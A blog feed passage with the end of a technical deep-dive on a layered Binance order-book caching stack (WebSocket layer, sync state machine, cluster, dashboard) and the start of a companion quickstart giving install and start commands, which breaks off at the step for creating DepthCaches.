<li><p>Find the <strong>sync point</strong>: the first diff where <code>U &lt;= lastUpdateId+1 &lt;= u</code> (spot) or <code>U &lt;= lastUpdateId &lt;= u</code> (futures/options).</p>
</li>
<li><p>Apply diffs sequentially, validating that each <code>U</code> equals the previous <code>u + 1</code> (spot) or each <code>pu</code> equals the previous <code>u</code> (futures).</p>
</li>
<li><p>Re-sync from scratch the moment a gap appears.</p>
</li>
<li><p>Quietly accept that price levels which fall outside the top 1000 get <strong>no delete event</strong>. Binance just stops mentioning them. If you follow the docs literally, those levels stay in your book forever as ghost orders.</p>
</li>
</ul>
<p>Most "order book" libraries do step 1, half of step 4, and then quietly hope reality stays polite.</p>
<p>Reality does not.</p>
<p>That is where silent corruption starts: the book still looks like an order book, the numbers still parse, your strategy still runs — but the data is no longer trustworthy.</p>
<p>The whole UBS stack exists to handle the rest of that list — and to make the result <em>observable</em>.</p>
<hr />
<h2>Layer 1 — UBWA: the event bus</h2>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">UBWA</a> is the WebSocket layer underneath everything. From the trust-layer perspective its job is simple to say and annoying to implement: turn an unreliable TCP connection to Binance into a clean event source for whatever sits on top.</p>
<p>What UBWA gives you that you would otherwise write yourself:</p>
<ul>
<li><p><strong>One process, many streams.</strong> A single <code>BinanceWebSocketApiManager</code> multiplexes hundreds of subscriptions across multiple physical connections, respecting Binance's per-connection subscription cap.</p>
</li>
<li><p><strong>Auto-reconnect with state.</strong> When a socket drops, UBWA reconnects, re-subscribes, and emits a signal <em>for every stream it touched</em> so consumers can react.</p>
</li>
<li><p><strong>Stream signals as a first-class API.</strong> Pass <code>process_stream_signals=...</code> (or enable <code>stream_signal_buffer</code>) and every reconnect, disconnect, first-message-after-connect arrives as a structured event:</p>
<pre><code class="language-python">def on_signal(signal_type, stream_id, data_record=None, error_msg=None):
    # signal_type ∈ CONNECT, DISCONNECT, FIRST_RECEIVED_DATA,
    #               STREAM_UNREPAIRABLE, NEW_STREAM_STARTED, ...
    ...
</code></pre>
<p>This matters for the trust layer because it means UBLDC does not have to <em>guess</em> whether a stream gap was a real Binance gap or a socket reconnect. It gets told.</p>
</li>
<li><p><strong>Async-queue access to data.</strong> <code>ubwa.get_stream_data_from_asyncio_queue(stream_id)</code> is what UBLDC's diff loop awaits on. UBWA decouples the network side completely from the consumer side — consumers can fall behind without losing events, up to a configurable buffer cap.</p>
</li>
</ul>
<p>UBWA is the only place in the stack that has to care about TCP chaos. Everything above it works in terms of ordered messages plus explicit connection signals. That separation is what keeps the next layer sane.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/432fd922-d48f-4574-a6ca-a73643f01653.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Layer 2 — UBLDC: the sync state machine</h2>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">UBLDC</a> sits on top of UBWA and is where the order book actually exists. It is also where most of the interesting decisions live. If UBWA is the event bus, UBLDC is the part that asks the uncomfortable question: "Can I still trust this book?"</p>
<p>For each market UBLDC keeps a small state record:</p>
<pre><code class="language-python">{
  "asks": {...},
  "bids": {...},
  "is_synchronized": False,
  "last_update_id": None,
  "last_refresh_time": None,
  "refresh_request": True,
  "refresh_interval": &lt;int|None&gt;,
  "stream_status": None,
}
</code></pre>
<p>Three flags do most of the work: <code>is_synchronized</code>, <code>refresh_request</code>, <code>last_update_id</code>. The whole loop in <code>_manage_depth_cache_async()</code> is a state machine over those.</p>
<h3>Bootstrapping a market</h3>
<p>When a market is added, <code>refresh_request</code> is <code>True</code> and <code>is_synchronized</code> is <code>False</code>. Diff events start arriving immediately from UBWA — they have nowhere to go yet, but UBLDC does not throw them away. They land in a per-market <code>init_buffer</code>.</p>
<p>In parallel, UBLDC checks the <strong>current Binance API weight</strong> before asking for a snapshot:</p>
<pre><code class="language-python">if current_weight['weight'] &gt; 2200 or current_weight['status_code'] != 200:
    # Too close to the rate-limit ceiling, wait it out.
    continue
</code></pre>
<p>This is a small detail with a big production effect: UBLDC will not blindly hammer Binance with snapshot requests for 50 markets at once and then act surprised when rate limits bite. It yields when the weight is high.</p>
<p>When the snapshot arrives, the loop replays the buffered events, hunting for the sync point. Spot:</p>
<blockquote>
<p><code>U &lt;= lastUpdateId + 1 &lt;= u</code></p>
</blockquote>
<p>Futures / options:</p>
<blockquote>
<p><code>U &lt;= lastUpdateId &lt;= u</code></p>
</blockquote>
<p>The first event that matches flips <code>is_synchronized = True</code>. Anything buffered after that point gets applied with normal gap detection.</p>
<p>European Options has its own quirk — the snapshot's <code>lastUpdateId</code> can lag the live stream by ~30 seconds because Binance caches the snapshot server-side. UBLDC handles this by <strong>not dropping the buffer</strong> between failed sync attempts: events older than the snapshot get pruned, the rest is kept (capped at 10k) and replayed against the next snapshot. Without this you get an infinite resync loop and a very bad afternoon. With it, options markets just take a bit longer to come online.</p>
<h3>Steady state</h3>
<p>Once <code>is_synchronized</code> is <code>True</code>, the loop is short:</p>
<pre><code class="language-python"># Spot:
if event['U'] != last_update_id + 1:
    set_resync_request(market)   # gap → re-init from scratch
    continue

# Futures / options:
if event['pu'] != last_update_id:
    set_resync_request(market)
    continue

apply_updates(event)
last_update_id = event['u']
</code></pre>
<p>A single missed sequence number flips the cache out of sync and triggers a fresh snapshot. That is the entire point: a loud resync beats a quiet lie every time.</p>
<h3>The orphaned-levels fix</h3>
<p>Binance's diff stream guarantees consistent updates <strong>for the top 1000 levels</strong> of the book. When a level falls out of the top 1000 it stops getting updates — including delete events. A library that follows the spec literally accumulates ghost orders below the active band. The book grows a basement of dead orders nobody updates.</p>
<p>UBLDC actively prunes this by sorting the cache by price and dropping everything past the <code>limit_count</code> you query with — not just at read time, but as a <code>_clear_orphaned_depthcache_items()</code> pass during diff application. That is also why the <a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">ghost-orders post</a> is its own writeup: the bug is in Binance's spec, not in any one client, and most production order books out there have it.</p>
<h3>Periodic refresh</h3>
<p><code>refresh_interval</code> lets you force a periodic resync — say, every hour — even if no gap was detected. This is a belt-and-braces defence for very long-running processes. The default is <code>None</code> (don't), and you should leave it alone for normal workloads. Setting it too aggressively rebuilds caches that were perfectly fine, which costs Binance API weight and opens a window where the cache is in init state.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/351ae56e-c34d-4d5f-aac0-a5b06896d2be.png" alt="" style="display:block;margin:0 auto" />

<h3>What UBLDC exposes upward</h3>
<p>After all of this, UBLDC offers a flat synchronous API:</p>
<pre><code class="language-python">ubldc.is_depth_cache_synchronized(market="BTCUSDT")  # → True / False
ubldc.get_asks(market="BTCUSDT", limit_count=5)
ubldc.get_bids(market="BTCUSDT")
</code></pre>
<p>Notice what is <em>not</em> there: there is no <code>get_asks_or_die_silently()</code>. The synchronization status is a separate, queryable signal. Consumers can ask it before reading, or — more usefully — <em>handle the case where a read happens during a resync</em>. That is the seed of the trust layer pattern.</p>
<hr />
<h2>Layer 3 — UBDCC: the cluster</h2>
<p>If you only need one Python process, UBLDC standalone is enough. <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster">UBDCC</a> is what you reach for when the answer to "where does the order book live?" stops being "inside this script" and starts being "as a service my team can rely on without babysitting it".</p>
<p>The cluster is three roles. Nothing magical. No ceremony. Plain HTTP/JSON between them:</p>
<ul>
<li><p><code>mgmt</code> (one) — owns the authoritative cluster DB: which markets exist, which DCN holds which replica, which API keys are mapped to which DCN. Distributes work. Serves write-side endpoints (<code>/create_depthcache</code>, <code>/add_credentials</code>, …). Backs itself up to every other node on every sync cycle.</p>
</li>
<li><p><code>restapi</code> (one to many) — public entry point. Looks up which DCN is responsible for a <code>(exchange, market)</code> query, routes to it, fails over to a replica if the primary doesn't answer, and surfaces the failover in the response so monitoring sees it.</p>
</li>
<li><p><code>dcn</code> (many) — each DCN runs one UBLDC manager and N markets. One DCN per CPU core is the rule of thumb (Python's GIL caps a single process to one core). Serves <code>/get_asks</code> / <code>/get_bids</code> directly.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/51b84be9-023f-4bc1-9e00-5a3e3ab69ce4.png" alt="" style="display:block;margin:0 auto" />

<p>Three architectural decisions are worth flagging because they look small and pay off enormously.</p>
<h3>Disposable cache, durable contract</h3>
<p>A DCN is replaceable. It is not precious. It holds a few in-memory order books and a WebSocket connection. Kill it, and the only loss is the time it takes mgmt to assign its markets to a different DCN and for that DCN to re-sync. The cluster DB is replicated to every node on every sync cycle, so even mgmt is replaceable — restart it and it pulls the most recent backup from whichever node has the freshest copy.</p>
<p>The takeaway from one of the LinkedIn replies sharpened this for me:</p>
<blockquote>
<p><em>"REST queries over stateless cache means you spin replicas up and down without choreography, completely changing how you think about failover."</em> — Peter Andreas</p>
</blockquote>
<p>Exactly. The fragile thing in most setups is the cache itself. Treating cache replicas as cattle, not pets, is the entire reason failover is boring. And boring failover is good failover.</p>
<h3><code>error_id #6000</code> — the trust signal on the wire</h3>
<p>When a DCN gets a query for a market that is currently out of sync, it does not return last-known-good data with a happy 200. It returns this:</p>
<pre><code class="language-python">return self.get_error_response(
    event=event,
    error_id="#6000",
    message=f"DepthCache '{market}' for '{exchange}' is out of sync!"
)
</code></pre>
<p>That is the trust state crossing the network boundary. This is the moment where UBDCC stops being "a cache" and becomes a contract. The consumer now has three explicit options instead of one implicit one:</p>
<ol>
<li><p><strong>Wait</strong> — poll again in a moment, the cluster is re-syncing.</p>
</li>
<li><p><strong>Reduce confidence</strong> — the strategy can still trade, but with a wider risk margin until the cache is back in sync.</p>
</li>
<li><p><strong>Refuse</strong> — for strategies where stale data is worse than no data, the right move is to step out of the market entirely.</p>
</li>
</ol>
<p>That decision belongs to the consumer, not to the cache. The cache should not cosplay as a risk engine. UBDCC's job is to <em>preserve the trust signal across the boundary</em> so the consumer is never accidentally trading on a stale book.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e8643323-0720-444d-b6d7-3efb954fa8cf.png" alt="" style="display:block;margin:0 auto" />

<h3>Replicas + staggered start</h3>
<p>When you create a DepthCache with <code>desired_quantity=3</code>, mgmt picks three different DCNs for the three replicas and <strong>staggers their start times by a few seconds</strong>. That is deliberate, not cosmetic. Three parallel snapshot requests for <code>BTCUSDT</code> are three identical hits on Binance with no fault-tolerance benefit; staggering them means each replica is independently synced at a slightly different point in time, which also means at most one is ever in resync at any given moment under normal conditions. Failover stays cheap.</p>
<p>Replicas live on different DCNs by design. Mgmt's distribution scheduler refuses to put the same market twice on the same node — otherwise you would have "redundancy" that dies with a single process.</p>
<h3>What's <em>not</em> there</h3>
<ul>
<li><p><strong>No Redis. No PostgreSQL. No etcd. Not because those tools are bad — because this problem does not need them at the core.</strong> The cluster DB is a Python dict that mgmt replicates to every other node on each sync cycle. This is a deliberate constraint: every external dependency you add is one more thing that needs to be deployed, secured, monitored and recovered. UBDCC's recovery story is "pick the node with the most recent backup, re-elect mgmt, done".</p>
</li>
<li><p><strong>No transport encryption inside the cluster.</strong> Yet. The internal API is plain HTTP. This is a known gap, documented honestly in the README: the assumption is that you firewall the cluster off and run it behind a private network. We are building from the core outward, not from the buzzword inward.</p>
</li>
<li><p><strong>No bot logic.</strong> UBDCC does not place orders, run strategies, generate signals, or move funds. It is the data layer you build those things on top of. If you want a trailing stop loss, that is <a href="https://github.com/oliver-zehentleitner/unicorn-binance-trailing-stop-loss">UBTSL</a>. If you want raw streams, that is <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">UBWA</a>.</p>
</li>
</ul>
<hr />
<h2>Layer 4 — The dashboard: the trust layer for humans</h2>
<p>The cluster speaks JSON. Operators speak in glances. If you need to read a log line to know whether the book is trustworthy, the UI is not doing its job.</p>
<p>The <a href="https://github.com/oliver-zehentleitner/ubdcc-dashboard">UBDCC Dashboard</a> is a single-page browser app — vanilla JS, no framework, no tracking, served by a stdlib HTTP launcher — that turns the cluster's existing endpoints into a live operations view. It does not introduce new state; everything you see is something the cluster already knows.</p>
<p>Three things are worth zooming in on:</p>
<ul>
<li><p><strong>Mini-orderbook tiles.</strong> Each DepthCache is a compact tile with top-3 asks/bids, quantity bars, and a spread in basis points. An <code>IntersectionObserver</code> plus a filter gate ensures only on-screen, matching tiles poll the cluster. You can have 600 caches and still scroll a smooth 2-second refresh.</p>
</li>
<li><p><strong>Trust state at a glance.</strong> Out-of-sync (<code>#6000</code>) tiles turn red. Other errors turn yellow with a compact message. The <strong>Cluster Status</strong> modal in the header (Pods / DepthCaches / DCNs / Credentials tabs, plus a pinned health strip) gives you the same view at the cluster level: per-DepthCache replica donut, distribution state, sync state.</p>
</li>
<li><p><strong>API Builder.</strong> Pick an endpoint, fill in a form, get a copyable snippet in <strong>curl, HTTPie, Python (using the official UBLDC</strong> <code>Cluster</code> <strong>client), JavaScript, Go, C#, Java, Rust, PHP or C/C++</strong>. A <code>Try it →</code> button runs GET-safe calls through the dashboard's CORS proxy and pretty-prints the JSON. This is how non-Python developers onboard onto the cluster — and, honestly, how <em>I</em> test endpoints when I do not feel like typing curl for the hundredth time.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/5af04b7b-a034-48bf-a422-08616ebd3cb0.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7329d69a-11ac-4c5a-b811-f1d9195bf40a.png" alt="" style="display:block;margin:0 auto" />

<p>The dashboard is also where the <strong>Credentials Manager</strong> lives (masked previews, two-click remove), the <strong>Add DepthCaches</strong> modal with live <code>exchangeInfo</code> symbol lookup, and the <strong>bulk × Remove filtered</strong> with a two-click confirmation that is only enabled when a filter is active — so you cannot accidentally wipe the cluster with one slip.</p>
<hr />
<h2>Where this is going next: gRPC</h2>
<p>REST is a perfect onboarding contract. Anything HTTP-capable can read the cluster. That is hard to beat for "I want to be productive in 90 seconds".</p>
<p>For tight-loop consumers — market makers, arbitrage engines, anything that wants top-of-book fast enough that JSON starts to feel like furniture in the hallway — REST becomes the long pole. JSON parsing alone is often more expensive than the actual cluster- internal lookup. Long-poll patterns also fight against a stateless read API.</p>
<p>The next architectural step we are looking at is a <strong>gRPC contract alongside REST</strong>, not instead of it:</p>
<ul>
<li><p><strong>Streaming reads.</strong> Subscribe once to <code>(exchange, market, limit_count)</code> and receive a server-pushed update on every diff the cluster applies — including a <code>trust_state</code> field that is <code>IN_SYNC</code> / <code>OUT_OF_SYNC</code> / <code>RESYNCING</code>. Same trust contract as the <code>error_id #6000</code> you get from REST, just delivered as a first-class field on every message instead of an exceptional response. Order-book deltas become a typed event stream.</p>
</li>
<li><p><strong>Bidi for write-side ops.</strong> <code>create_depthcaches</code> over a streaming RPC means the dashboard (and any operator tool) can show progress per market — <code>pending → starting → synchronized</code> — without polling.</p>
</li>
<li><p><strong>Schema-first.</strong> Protobuf gives every language the same typed contract for free, including languages where the current REST approach forces hand-rolled DTOs.</p>
</li>
</ul>
<p>REST stays for everything onboarding-shaped. gRPC is the path for high-throughput, low-latency reads where the trust signal needs to ride on the data instead of on top of it. This is <strong>idea stage</strong> — it is on the roadmap, not in the next release. If your use case sharpens the requirements, the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster/issues">issue tracker</a> is the right place to push.</p>
<hr />
<h2>What this stack is — and what it composes with</h2>
<p>Stack-from-the-bottom, one line each:</p>
<table>
<thead>
<tr>
<th>Layer</th>
<th>What it owns</th>
</tr>
</thead>
<tbody><tr>
<td><strong>UBWA</strong></td>
<td>TCP, reconnects, stream signals, async queue per stream</td>
</tr>
<tr>
<td><strong>UBLDC</strong></td>
<td>One process, N markets, sync state machine, gap &amp; ghost-order handling</td>
</tr>
<tr>
<td><strong>UBDCC</strong></td>
<td>A cluster of UBLDC processes with replicas, failover and a public REST contract</td>
</tr>
<tr>
<td><strong>Dashboard</strong></td>
<td>The same trust state, rendered for humans</td>
</tr>
</tbody></table>
<p>What it composes with:</p>
<ul>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-trailing-stop-loss"><strong>UBTSL</strong></a> — trailing stop loss engine. Reads UBDCC for the order book it trails against, places orders via UBRA.</p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-rest-api"><strong>UBRA</strong></a> — REST client for everything that is not market data: account, orders, balances. Pairs naturally with UBDCC for read.</p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-fy"><strong>UnicornFy</strong></a> — raw-payload normalizer. If you read from UBWA directly (rather than via UBLDC/UBDCC), UnicornFy is what gives you uniform Python dicts.</p>
</li>
<li><p><strong>Anything else.</strong> Node.js dashboard, Go execution engine, Rust research tool, C# alerting service — they all read the same trust-aware REST contract. That was the goal from the start.</p>
</li>
</ul>
<hr />
<h2>The point</h2>
<p>The reason this writeup is structured the way it is — Layer 0 to Layer 4 — is not just to tour the stack. The stack is documented in each repo's README. The point is that <strong>trust is not a feature you bolt on</strong>. It only works if every layer preserves it.</p>
<p>If UBWA hides reconnects, UBLDC cannot detect a real Binance gap. If UBLDC silently keeps an out-of-sync book, UBDCC has no honest status to report. If UBDCC returns 200 with stale data on <code>#6000</code>, the consumer's strategy is trading on a lie with a nice HTTP status code. Each layer's job is to either preserve the trust signal or fail loudly enough that the layer above can.</p>
<p>The infrastructure fails loudly. The API contract preserves the signal. The consumer makes an explicit decision instead of accidentally trading on stale state. That is what an order book trust layer is for. Not to make the market safe. To stop your own infrastructure from pretending it knows more than it does.</p>
<hr />
<p>UBDCC, UBLDC, UBWA, UBRA, UBTSL, UnicornFy and the dashboard are all MIT, all on PyPI, all developed in the open. Repos:</p>
<ul>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster">unicorn-binance-depth-cache-cluster</a></p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">unicorn-binance-local-depth-cache</a></p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">unicorn-binance-websocket-api</a></p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/ubdcc-dashboard">ubdcc-dashboard</a></p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-suite">unicorn-binance-suite</a> (umbrella)</p>
</li>
</ul>
<p>Star what is useful. Break what is wrong. Open issues where the contract is unclear. Or drop into the <a href="https://t.me/unicorndevs">unicorndevs Telegram</a>.</p>
<hr />
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding! ¯_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[From `pip install` to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart]]></title><description><![CDATA[This is the quickstart.
If you want the architectural “why” behind it — why UBDCC is not just a cache, why #6000 is a trust signal, and how UBWA → UBLDC → UBDCC turns Binance depth streams into an obs]]></description><link>https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart</link><guid isPermaLink="true">https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart</guid><category><![CDATA[binance]]></category><category><![CDATA[Python]]></category><category><![CDATA[trading, ]]></category><category><![CDATA[unicorn-binance-depth-cache-cluster]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Sun, 26 Apr 2026 17:44:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/ccc79faa-d213-4696-b024-e2b1e4c95da5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>This is the quickstart.</p>
<p>If you want the architectural “why” behind it — why UBDCC is not just a cache, why <code>#6000</code> is a trust signal, and how UBWA → UBLDC → UBDCC turns Binance depth streams into an observable trust layer — read the companion deep-dive:</p>
<p><a href="https://blog.technopathy.club/ubdcc-deep-dive-building-a-trust-layer-for-binance-order-books"><strong>UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books</strong></a></p>
</blockquote>
<p>If your goal is simple — <em>“I need a Binance DepthCache and I want it running now”</em> — this is probably the shortest path I know.</p>
<p>With <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster"><strong>UBDCC</strong></a>, you can start live, correctly synchronized Binance DepthCaches in minutes, manage and automate the setup by code or REST, and use the browser dashboard as an additional operational interface with a built-in API Builder.</p>
<p>You do <strong>not</strong> need Kubernetes to start.<br />You do <strong>not</strong> need Redis.<br />You do <strong>not</strong> need PostgreSQL.<br />You do <strong>not</strong> need to build your own cache manager, failover logic, or API layer first.</p>
<p>The local quickstart is really just this:</p>
<pre><code class="language-bash">pip install ubdcc
ubdcc start --dcn 4
ubdcc-dashboard start
</code></pre>
<p>And a few minutes later, you have live Binance DepthCaches running locally.</p>
<p>That is the point of this article.</p>
<p>Not theory.<br />Not architecture for architecture’s sake.<br />Just getting a real Binance DepthCache up and running quickly — and then understanding why the setup is stronger than it looks at first.</p>
<blockquote>
<p><strong>Not a Python developer?</strong></p>
<p>That is fine.</p>
<p>UBDCC is implemented in Python, but once it is running, you use it like a local service over HTTP/JSON.</p>
<p>Your application can stay in Node.js, PHP, Go, Java, Rust, C#, or anything else that can make HTTP requests.</p>
</blockquote>
<p>This is the hands-on quickstart. If you first want the technical background, read these two companion posts:</p>
<ul>
<li><p><a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Your Binance Order Book Is Wrong — Here's Why</a> — why naive local Binance order books can silently accumulate stale levels.</p>
</li>
<li><p><a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">Why Your Binance Order Book Should Not Live Inside Your Bot</a> — why shared market-data infrastructure is cleaner than per-bot cache ownership.</p>
</li>
</ul>
<h2>Video walkthrough</h2>
<p>If you prefer to see the full setup once before going through the steps, here is the uncut quickstart video:</p>
<p><a class="embed-card" href="https://youtu.be/o1-nCravKnc">https://youtu.be/o1-nCravKnc</a></p>

<h2>Who this is for</h2>
<p>This is useful if you want a Binance DepthCache for things like:</p>
<ul>
<li><p>trading bots</p>
</li>
<li><p>arbitrage systems</p>
</li>
<li><p>market making</p>
</li>
<li><p>dashboards</p>
</li>
<li><p>alerting</p>
</li>
<li><p>execution services</p>
</li>
<li><p>research tools</p>
</li>
<li><p>mixed-language setups where not everything is written in Python</p>
</li>
</ul>
<p>If you only have one Python process and one local consumer, <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache"><strong>UBLDC</strong></a> may already be enough.</p>
<p>UBDCC is what you reach for when you want more than one in-process cache and do not want to build the rest of the infrastructure yourself.</p>
<h2>What UBDCC is — and what it is not</h2>
<p>UBDCC turns Binance DepthCaches into a running service.</p>
<p>Instead of every script opening its own WebSocket connection, downloading its own snapshot, and maintaining its own copy of the same market, you start UBDCC once and query the DepthCache over HTTP/JSON whenever you need it.</p>
<p>The cluster has three parts:</p>
<ul>
<li><p><strong>mgmt</strong> — the coordinator that keeps cluster state and distributes work</p>
</li>
<li><p><strong>restapi</strong> — the HTTP interface your clients talk to</p>
</li>
<li><p><strong>dcn</strong> — short for <strong>DepthCache Node</strong>, a worker process that actually holds and maintains DepthCaches in memory</p>
</li>
</ul>
<p>A <strong>DCN</strong> is where the real DepthCache work happens.</p>
<p>It fetches snapshots, consumes Binance depth streams, keeps books synchronized, re-syncs when needed, and can hold replicas for failover.</p>
<p>If you remember only one thing:</p>
<blockquote>
<p>A DCN is the part of the cluster where the actual DepthCaches live.</p>
</blockquote>
<p>UBDCC is <strong>not</strong> a trading bot.</p>
<p>It does not place orders, route execution, generate signals, manage portfolios, or decide what to trade. It is the market-data layer underneath those things.</p>
<h2>Why this is useful in practice</h2>
<p>Once a DepthCache is synchronized inside UBDCC, your consumers are no longer pulling fresh Binance snapshots again and again.</p>
<p>They are reading from the cache that is already running in your local cluster.</p>
<p>That gives you some very practical advantages:</p>
<ul>
<li><p>much lower latency than repeatedly going back to Binance REST</p>
</li>
<li><p>far less pressure on Binance rate limits</p>
</li>
<li><p>one running DepthCache can serve many consumers</p>
</li>
<li><p>strategy restarts do not mean rebuilding the whole market view from scratch</p>
</li>
<li><p>you can hit your local cluster as hard as you want without hammering Binance the same way</p>
</li>
</ul>
<p>This is the same architectural shift I describe in more detail here: <a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">Why Your Binance Order Book Should Not Live Inside Your Bot</a></p>
<p>That is the practical value.</p>
<p>The “shared service” part is not the first thing the user wants.<br />The first thing the user wants is a Binance DepthCache that is up, correct, fast, and usable.</p>
<p>UBDCC just happens to solve the rest at the same time.</p>
<h2>Step 1 — Install Python if needed</h2>
<p>UBDCC is distributed as a Python package, so the machine that runs it needs Python 3.9 or newer.</p>
<p>That does <strong>not</strong> mean your own application has to be written in Python.</p>
<p>If you are a Node.js, PHP, Go, Java, Rust, or C# developer, think of Python here as a one-time runtime dependency: install it once, start UBDCC, and then use the running service over HTTP/JSON from your own stack.</p>
<p>Check whether Python is already available:</p>
<pre><code class="language-bash">python3 --version
</code></pre>
<p>On Windows, if Python is missing, download and install it once from python.org.</p>
<p>Optional but recommended:</p>
<pre><code class="language-bash">python3 -m venv ubdcc-env
source ubdcc-env/bin/activate
# Windows:
# ubdcc-env\Scripts\activate
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/044b8038-22e0-4a42-b258-4d9b3a0c6684.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 2 — Install UBDCC</h2>
<pre><code class="language-bash">python3 -m pip install ubdcc
</code></pre>
<p>That one package gives you the cluster components and the dashboard.</p>
<p>For the local quickstart, there is no long dependency story and no separate UI installation dance.</p>
<p>Install once and move on.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/4a73cc74-5602-4fbf-aa24-9f2d59051fad.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 3 — Start the cluster</h2>
<pre><code class="language-bash">ubdcc start --dcn 4
</code></pre>
<p>This gives you:</p>
<ul>
<li><p>1 management process</p>
</li>
<li><p>1 REST API process</p>
</li>
<li><p>4 DCNs</p>
</li>
</ul>
<p>That is already enough to get real Binance DepthCaches running locally with redundancy and failover potential.</p>
<p>After startup, note the REST endpoint, usually:</p>
<pre><code class="language-text">http://127.0.0.1:42081/
</code></pre>
<p>A setup that would normally take a fair amount of engineering work is available here as a package, a CLI, a REST API, and an optional browser dashboard.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f0ecdcfb-c8bf-4fc7-b418-779a518518f2.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 4 — Open the dashboard</h2>
<p>In a second terminal:</p>
<pre><code class="language-bash">ubdcc-dashboard start
</code></pre>
<p>By default, the dashboard binds to <code>127.0.0.1:8080</code> and opens in your browser.</p>
<p>Connect it to:</p>
<pre><code class="language-text">http://127.0.0.1:42081
</code></pre>
<p>The dashboard is optional, but it makes the first-run experience much easier and comes with a built-in API Builder for quick multi-language onboarding.</p>
<p>You can see nodes, markets, replicas, credentials, sync state, and generated API calls. That is why it matters so much: it turns a DepthCache cluster into something you can inspect and operate immediately.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/38c5c7a5-6bf6-4892-8d7e-ccb89da88e0a.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e1623753-de9a-445d-a4e8-f5ef66277a2a.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/2cd9aeb0-79a0-4969-a5f5-46e6dd0775c4.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f28fa5cb-c46a-4b55-aa2f-0b46de9bc88c.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/14882bbf-34c1-423d-a267-f710cfb0e7ba.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 5 — Add credentials if needed</h2>
<p>For pure Spot mainnet markets, you do <strong>not</strong> need credentials.</p>
<p>Credentials become relevant for some other Binance environments, some snapshot flows, and for getting more headroom where authenticated rate limits apply.</p>
<p>You can handle that through the dashboard or directly through code / REST.</p>
<p>In the dashboard:</p>
<ul>
<li><p>click <strong>Credentials</strong></p>
</li>
<li><p>choose the account group</p>
</li>
<li><p>add an API key / secret pair</p>
</li>
</ul>
<p>The cluster can then distribute credential assignments across nodes.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/42323883-b37a-4792-b156-18e865330e61.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 6 — Create DepthCaches with replicas</h2>
<p>Now create your first markets.</p>
<p>You can do this through the dashboard, through code, or directly through REST.</p>
<p>In the dashboard:</p>
<ul>
<li><p>click <strong>DepthCaches</strong></p>
</li>
<li><p>choose an exchange such as <code>binance.com</code></p>
</li>
<li><p>add symbols like <code>BTCUSDT</code>, <code>ETHUSDT</code>, <code>BNBUSDT</code></p>
</li>
<li><p>set <strong>Replicas</strong> to <code>2</code> or <code>3</code></p>
</li>
